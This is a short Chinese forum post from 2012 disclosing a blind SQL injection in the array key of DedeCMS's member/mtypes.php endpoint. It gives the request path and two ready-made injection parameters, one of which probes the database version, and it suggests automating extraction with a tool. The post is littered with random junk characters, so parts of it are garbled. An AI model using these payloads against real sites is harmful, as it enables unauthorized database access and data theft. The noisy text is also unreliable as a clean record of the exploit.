需要magic_quotes_gpc = Off,所以说是鸡肋啊.& A% P7 p9 ]8 a1 J8 b
. ]1 y" f6 S! y9 I, _
. m; P0 k' ?! \! w发生在数组key里的注射漏洞,有点意思.( T1 c# s4 e. s' t. m
! Z9 w6 d7 Y1 V2 u$ F& o! J8 k. v这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下% }5 Y* _, p9 Z$ I0 r$ X0 e
% @$ ~* R3 q: F9 A% L
http://www.xxx.com /dede/member/mtypes.php?dopost=save
4 m1 G: Y1 e6 I2 N& [9 Z( j9 Y6 p
. ^4 |6 T$ B$ ^+ W5 {9 [exploit:
3 @5 j* f: y, @, A6 P( [mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
9 I5 _% b4 l6 g5 o4 x- fmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r) x7 _: ]$ w# e, W
|
发表于 2012-12-20 08:08:09
收藏
支持
反对